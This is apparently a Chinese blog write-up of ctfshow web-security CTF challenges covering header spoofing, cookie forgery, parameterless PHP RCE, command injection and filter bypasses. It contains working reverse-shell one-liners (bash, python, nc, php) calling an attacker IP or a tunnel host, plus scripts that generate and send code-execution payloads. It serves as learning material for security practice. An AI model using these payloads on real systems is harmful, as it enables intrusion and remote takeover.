ctfshow

r1ck9

ctfshow

web应用安全与防护

一、base64编码隐藏

image\.png

ctrl U 查看源码

image\.png

Burp解码

CTF{easy_base64}

二、HTTP头注入

  • 登入
Text
1
2
admin
CTF{easy_base64}

image\.png

要换浏览器,You must use “ctf-show-brower“ browser to access this page

  • Burp抓包

7215ba80\-aa46\-4bac\-9334\-08d66568f6ed\.png

CTF{user_agent_inject_success}

三、Base64多层嵌套解码

4a835058\-a737\-4290\-90e6\-0b5f32afee89\.png

btoa() 是 JavaScript 中用于将二进制字符串编码为 Base64 格式的 ASCII 字符串的方法。它常用于对数据进行编码以便在网络传输中避免特殊字符问题。

【binary{原始} to ascII{base64}】

// 将字符串 “Hello, world” 编码为 Base64

const encodedData = btoa(“Hello, world”);

console.log(encodedData); // 输出: “SGVsbG8sIHdvcmxk”

// 解码回原始字符串

const decodedData = atob(encodedData);

console.log(decodedData); // 输出: “Hello, world”

SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU=

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
let encoded = btoa(input);
第1层:将输入进行 Base64 编码。例如 "hello""aGVsbG8="

encoded = btoa(encoded + 'xH7jK').slice(3);
第2层:**拼接盐值** 'xH7jK',再 Base64 编码,然后 **.slice(3) **
** 截掉前3个字符**。这是为了增加混淆。

encoded = btoa(encoded.split('').reverse().join(''));
第3层:将字符串逐字符反转(split('') 拆成数组 → reverse() 反转 → join('')
拼回),然后再 Base64 编码。

encoded = btoa('aB3' + encoded + 'qW9').substr(2);
第4层:前后拼接盐值 'aB3''qW9',Base64 编码后,**.substr(2)**
** 截掉前2个字符。 **

return btoa(encoded) === correctPassword;
第5层:最后再做一次 Base64 编码,与预存的 correctPassword 比较,返回
true/false。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import base64
import itertools
import string

CORRECT = "SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU="

def validate(inp):
e = base64.b64encode(inp.encode()).decode()
e = base64.b64encode((e + 'xH7jK').encode()).decode()[3:]
e = base64.b64encode(e[::-1].encode()).decode()
e = base64.b64encode(('aB3' + e + 'qW9').encode()).decode()[2:]
return base64.b64encode(e.encode()).decode() == CORRECT

*# 先尝试逆推*
def reverse_it():
try:
s5 = base64.b64decode(CORRECT).decode()
*# Step 4 逆向: btoa('aB3' + x + 'qW9').substr(2) => 补回前2字符*
*# base64('aB3'...) 开头固定为 'YU' (因为 'a'=0x61, 'B'=0x42 => base64前2字符='YU')*
s4 = base64.b64decode('YU' + s5).decode()
s4 = s4[3:-3] *# 去掉 'aB3' 和 'qW9'*
*# Step 3 逆向*
s3 = base64.b64decode(s4).decode()
s3 = s3[::-1] *# 反转回来*
*# Step 2 逆向: btoa(x + 'xH7jK').slice(3) => 需要补前3字符*
*# 穷举前3个base64字符*
charset = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/='
for a, b, c in itertools.product(charset, repeat=3):
try:
candidate = a + b + c + s3
decoded = base64.b64decode(candidate).decode()
if decoded.endswith('xH7jK'):
step1 = decoded[:-5]
original = base64.b64decode(step1).decode()
if original.isprintable() and validate(original):
return original
except Exception:
continue
except Exception as e:
print(f"逆推失败: {e}")
return None

print("正在逆推...")
result = reverse_it()
if result:
print(f"密码: {result}")
else:
*# 逆推失败则暴力穷举*
print("逆推未果,开始暴力穷举...")
chars = string.printable.strip()
for length in range(1, 9):
print(f"穷举长度 {length}...")
for combo in itertools.product(chars, repeat=length):
pwd = ''.join(combo)
if validate(pwd):
print(f"密码: {pwd}")
exit()
print("未找到")

#A7316

1628cf3b\-2b9c\-42bc\-88db\-66ba63ba06a9\.png

四、HTTPS中间人攻击

92a1f878\-470e\-4d11\-a828\-af6afd99143d\.png

抓包

  1. arp #了解局域网中每个ip与mac地址之间的关系

  2. dns

  3. tls 三次握手连接 四次挥手断连,http=无秘密,https + 预主密钥=无秘密

image\.png

打开wireshark,发现是https协议,信息被加密
这个时候将预主密钥加入到wireshark中

image\.png

直接出了CTF{https_secret_data}

五、Cookie伪造

先抓个包

e2454439\-d3d8\-469d\-b474\-d80876e7ede6\.png

然后爆破或者简单猜测:密码和用户名一样 为 guest

82ffa6d7\-6b66\-4e44\-8b5b\-a84566b5a043\.png

但是login之后也没有什么用,还是得不到flag,但是cookie处有变化,我们尝试把role修改成admin,毕竟我们原本cookie中本来就有PHPSESSID

PHPSESSID 的生成与工作机制

PHPSESSID 是通过 PHP 内置的随机数生成器结合客户端 IP、当前时间(秒和微秒)等信息生成的唯一标识符。生成后,它通常存储在客户端的 Cookie 中,并在每次请求时通过 HTTP 头部发送到服务器。

以下是 PHPSESSID 的工作流程:

  1. 当客户端首次访问服务器时,PHP 会生成一个唯一的 PHPSESSID。

  2. 服务器将 PHPSESSID 通过 Set-Cookie 响应头发送到客户端。

  3. 客户端在后续请求中通过 Cookie 头部携带 PHPSESSID,服务器根据该值找到对应的会话文件,从而实现会话数据的读取和写入。

如果客户端禁用了 Cookie,可以通过 URL 参数(如 ?PHPSESSID=xxx)传递 PHPSESSID

我们是可以通过它获得会话数据的

e3723067\-e072\-48f8\-b493\-5ca7a863a46e\.png

六、一句话木马变形

system() 是 PHP 中用于执行外部系统命令并直接输出结果的函数,常用于调用 Shell 命令

system(ls);

0cebf3f1\-f288\-41c8\-b0f0\-6d0be8088377\.png

  • 利用网址搜,无结果

ed491614\-bd69\-49ca\-9f54\-e7158feaf2ba\.png

  • 键入system(‘cat flag.php’);

=》Error: Invalid characters detected! Only letters, numbers, underscores , parentheses and semicolons are allowed. 只能用字母、数字、括号、引号和分号

这里引入新知识 无参RCE

正常的后门代码依赖于外部传参来执行命令,通过无参rce可以实现后门代码不依赖于外部参数,而通过php内置函数(如getallheaders()、getenv()、scandir()等)来拼凑出代码执行逻辑。

1
2
3
>var_dump(scandir(current(localeconv()))); #出目录

highlight_file(next(array_reverse(scandir(current(localeconv()))))); #出结果

a3aec7f7\-cc6f\-4064\-a0ec\-6006321c98ec\.png

CTF{shell_code_base64_bypass}

七、反弹shell构造

反弹shell:攻击者构建一个服务器,受害者主机主动连接攻击者的服务端程序,攻击者监听

nc -lvnp 端口号 公网服务器监听指定端口

nc-e /bin/sh 公网服务器ip 端口号 靶机反弹shell

Text
1
2
3
4
5
6
# 攻击者:监听端口
nc -lvp 9999

# 受害者:执行反弹 Shell 命令
bash -i >& /dev/tcp/攻击者IP/9999 0>&1

Text
1
2
3
4
5
6
# 攻击者:监听端口
nc -lvp 7777

# 受害者:执行反弹 Shell 命令
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('攻击者IP',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

Text
1
2
3
4
5
6
# 攻击者:监听端口
nc -lvp 4566

# 受害者:执行反弹 Shell 命令
nc -e /bin/bash 攻击者IP 4566

Text
1
2
3
4
5
6
# 攻击者:监听端口
nc -nvlp 9875

# 受害者:执行反弹 Shell 命令
php -r 'exec("/bin/bash -i >& /dev/tcp/攻击者IP/9875 0>&1");'

打开kali,我在windows上无法做出

键入nc -lvnp 9001

另开一个终端,cpolar tcp 9001 启动隧道

b92d101d\-5c89\-4e7d\-b04b\-46a5676448c9\.png

得到转发的公网网址tcp://17.tcp.cpolar.top:13916

然后在题目环境中键入bash -c 'bash -i >& /dev/tcp/17.tcp.cpolar.top/13916 0>&1'

19c2ce40\-42d6\-4195\-8e07\-3ec87cb3fa94\.png

直接输入命令即可得到flag

八、管道符绕过过滤

什么都不输入,直接执行,就已经是执行ls命令

b68590b2\-708b\-4a5b\-81bc\-f02bf58ae4bd\.png

; //分号 都执行

| //只执行后面那条命令

|| //只执行前面那条命令

& //两条命令都会执行

&& //两条命令都会执行

  1. 输入 | tac flag.php 直接出

1a7ba85f\-2dad\-4831\-b9d2\-5acea0bc5780\.png

  1. 输入 | cat flag.php ctrl +U后在源代码页面出

bfd270bf\-86cd\-4db8\-8c0a\-51b4a66dbddd\.png

CTF{no_space_to_execute_shell_commands}

九、无字母数字代码执行

无论输入什么,都报错

2a385499\-f974\-4640\-a3b9\-c77b77e70f9d\.png

考虑非字母数字的字符经过各种转换,最后能构造出a-z0-9中的任意一个字符

注意:在使用取反编码再取反进行绕过时,想要执行我们指定的代码,传入的payload必须要满足 (函数名)() 这样的形式,否则在取反之前PHP解释器并不知道是要执行一个函数,取反之后就算是一个函数也不会被当作代码执行。

对system('tac flag.php')构造

一个可以直接生成你想要的任意无字母数字 Payload的小脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
def generate_payload(func, arg):
# 对函数名取反
func_encoded = "".join([f"%{hex(255 - ord(c))[2:].upper()}" for c in func])
# 对参数取反
arg_encoded = "".join([f"%{hex(255 - ord(c))[2:].upper()}" for c in arg])

# 修改为带单引号的格式
payload = f"(~'{func_encoded}')(~'{arg_encoded}');"
return payload


# 生成 system('cat flag.php') 的 payload
print(generate_payload(**"system", "tac flag.php"**))

03a1aedb\-a6b1\-4ad2\-9458\-c500b8e2fb62\.png

但是直接放还是不行

cd095cc1\-0b19\-4c77\-81df\-7d1430b38199\.png

e546ee73\-9b55\-4913\-b4ed\-eb4693056f6c\.png

直接传会被url编码,因此需要抓包传

30d2c68b\-41c4\-45ec\-afca\-4c8ff49574c0\.png

CTF{no_characters_to_execute_php_code}

十、无字母数字命令执行

看名字感觉和上一题很像啊,一个是代码,一个是命令,我可以尝试一下用上题的办法

38e96525\-4902\-4f4f\-86a1\-5255959137c6\.png

823bddbe\-e3c7\-4b56\-b139\-afb2d77f056b\.png

这次是直直传过来的

9685c6cd\-861a\-4d89\-9e45\-bf9fe76fcd2c\.png

按上题的思路,可以成功执行,但是却看不到flag,没有回显

因为上题底层是php代码,但是这次是shell,看不到

=》CTF 无字母数字 RCE 的绝对方法:“临时文件上传 + Shell 路径通配符”盲打

也是一个脚本一键发包脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

# 1. 替换为你当前题目的实际 URL
url = "http://2511d1d3-19ce-402a-8578-8c77120dcaf7.challenge.ctf.show/" #记得 http不加s

# 2. 我们要上传的恶意文件,内容是明文命令(这里假设读 flag.php)
files = {'file': ('1.txt', 'cat flag.php')}

# 3. 注入的无字母数字 Payload
# 意思是:截断 ls 命令,然后执行 /tmp/ 下刚才上传的临时文件
data = {'code': '/; . /???/????????[@-[]'}

print("开始盲打,尝试匹配临时文件后缀...")

# 循环发送,直到临时文件的随机名以大写字母结尾被我们撞上
for i in range(20):
try:
response = requests.post(url, files=files, data=data)
# 如果回显中包含了我们想要的结果(避开默认的 execute success!)
if "flag{" in response.text or "<?php" in response.text:
print(f"\n🎉 第 {i+1} 次尝试命中!成功拿到回显:")
print(response.text)
break
else:
print(f"第 {i+1} 次未命中 (临时文件尾号非大写),重试中...")
except Exception as e:
print(f"请求报错: {e}")

0a5ab8a8\-cb94\-4746\-b778\-b24f7570f251\.png

CTF{no_characters_to_execute_shell_commands_he3e}

  • 标题: ctfshow
  • 作者: r1ck9
  • 创建于 : 2026-04-11 01:25:00
  • 更新于 : 2026-08-13 10:14:26
  • 链接: https://www.r1ck9.top/2026/04/11/ctfshow/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论